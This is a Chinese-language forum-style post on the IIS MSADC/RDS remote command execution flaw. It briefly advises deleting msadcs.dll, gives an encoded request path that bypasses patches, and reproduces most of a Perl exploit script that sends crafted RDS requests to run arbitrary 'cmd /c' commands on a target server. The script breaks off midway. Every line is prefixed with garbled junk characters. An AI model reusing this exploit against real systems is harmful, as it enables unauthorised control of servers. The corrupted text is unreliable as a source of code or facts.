IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
L-}>;M$Y) 0f.rjd 涉及程序:
d\Xi1&& Microsoft NT server
rlEp&"+|M " gB. 描述:
'j84-U{&) 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
,wJ#0? U$[C>~ r 详细:
v:*t5M
> 如果你没有时间读详细内容的话,就删除:
q2* G86 c:\Program Files\Common Files\System\Msadc\msadcs.dll
^qL2Q* 有关的安全问题就没有了。
jseyT#2 ! 6kLL 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
:DP%>H| B3V:? # 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
o8+ZgXct 关于利用ODBC远程漏洞的描述,请参看:
t?NB#/#%x %vjLw` http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Mg
H,"G \%nFCK0 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
`8Y& KVhu http://www.microsoft.com/security/bulletins/MS99-025faq.asp +*2wGAT aa8xo5tIp 这里不再论述。
gxEa?QH s;'XX}Y 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
CmaV> k!e \O> + /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
2|vArRKt 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
I^iJ^Z]vx F+A"-k_\T# X {,OP/ #将下面这段保存为txt文件,然后: "perl -x 文件名"
PI>PEge!& @5n!t1( #!perl
x{Y}1+Y4 #
s hbPy # MSADC/RDS 'usage' (aka exploit) script
Nz`4q%+ #
AV0m31b # by rain.forest.puppy
%T]NM3|U #
IwC4fcZX6 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Sa!r ,l # beta test and find errors!
]3@6o*R; D}|PBR use Socket; use Getopt::Std;
bWzv7#dd= getopts("e:vd:h:XR", \%args);
G}aw{Vbg_ # Ny
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
WVc3C-h, Nx~9Ug if (!defined $args{h} && !defined $args{R}) {
|zD{]y?S- print qq~
JcsJfTI Usage: msadc.pl -h <host> { -d <delay> -X -v }
(lwrk( -h <host> = host you want to scan (ip or domain)
k=,,s(]tx -d <seconds> = delay between calls, default 1 second
/.<tC( -X = dump Index Server path table, if available
0HUSN_3F -v = verbose
%c%0pGn8- -e = external dictionary file for step 5
8$O=HE* 2j_YHv$I Or a -R will resume a command session
ahi lp$v ;SAurG$ ~; exit;}
uU v yZ o:ki IZ] $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
~F8M_ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
S pxkB! if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
c$),/0td| if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
5mB%Xh;bg $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
]>fAV(ix if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
YUo{e=m| ^R* _Q,o# if (!defined $args{R}){ $ret = &has_msadc;
Bq~!_6fB die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
NvH9?Ek" m1x7f%_ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
qd*3| O^ . "cmd /c ";
cjzhuH/y $in=<STDIN>; chomp $in;
7.fpGzUM $command="cmd /c " . $in ;
#:0dqD= dR"H,$UH if (defined $args{R}) {&load; exit;}
5Hvg%g-c :TU;%@7 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
%M{qr!?uj &try_btcustmr;
z -|gw.y pKDP1S#< print "\nStep 2: Trying to make our own DSN...";
8Xpf|?. &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
ok;Y xp> M<Mr
L[*j print "\nStep 3: Trying known DSNs...";
7Iu^l4=2 &known_dsn;
,Y&LlB 2 ;-p1z%
u print "\nStep 4: Trying known .mdbs...";
SH>L3@Za &known_mdb;
Rd6? , `ER">@& if (defined $args{e}){
O+I\Q? print "\nStep 5: Trying dictionary of DSN names...";
+jzwi3B` &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
O]{3aMs!Y cW B> print "Sorry Charley...maybe next time?\n";
$0WO
4C%M exit;
68ce+| f8`K8Y]4 ##############################################################################
,at"Q$)T n<
UuVu sub sendraw { # ripped and modded from whisker
5wM*(H^c[ sleep($delay); # it's a DoS on the server! At least on mine...
Uc,D&Og my ($pstr)=@_;
6^U8Utx socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
_DPWp,k<~ die("Socket problems\n");
P7GuFn/p~2 if(connect(S,pack "SnA4x8",2,80,$target)){
zbH Nj(~ select(S); $|=1;
q)%F#g print $pstr; my @in=<S>;
JmDi{B? select(STDOUT); close(S);
j^ L"l;m return @in;
Cz=HxU80J } else { die("Can't connect...\n"); }}
E$5)]<p! < dQ6:c7hp>D ##############################################################################
>ZMB}pt` 4;anoqiG\ sub make_header { # make the HTTP request
XWH{+c" my $msadc=<<EOT
Il(p!l<Xz# POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
5W/!o&x~7 User-Agent: ACTIVEDATA
_`yd"0Ux Host: $ip
:;[pl|}tM Content-Length: $clen
_ndc^OG Connection: Keep-Alive
ZH8O%>! V<~.:G$3H ADCClientVersion:01.06
,~^0AtLv Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
eELJDSd
BV 5\RTy}w3x --!ADM!ROX!YOUR!WORLD!
L:$kd `v[ Content-Type: application/x-varg
6&~8TH Content-Length: $reqlen
u6o:~=WwM RlH|G EOT
uC{qaMQ ; $msadc=~s/\n/\r\n/g;
JCoDe. return $msadc;}
X0<qG P:GAJ->;]> ##############################################################################
{)j~5m.,/o Oax*3TD sub make_req { # make the RDS request
#+)AIf my ($switch, $p1, $p2)=@_;
2=Sv# my $req=""; my $t1, $t2, $query, $dsn;
V~j:!=b%v , &>LBdG` if ($switch==1){ # this is the btcustmr.mdb query
%LBa;M $query="Select * from Customers where City=" . make_shell();
VO#x+u]/ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
D$C >ZF $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
+"8 [E~Bih )!+M\fT elsif ($switch==2){ # this is general make table query
P%?|V_m $query="create table AZZ (B int, C varchar(10))";
[ kI|Thx $dsn="$p1";}
sT.;*3{ npsDy&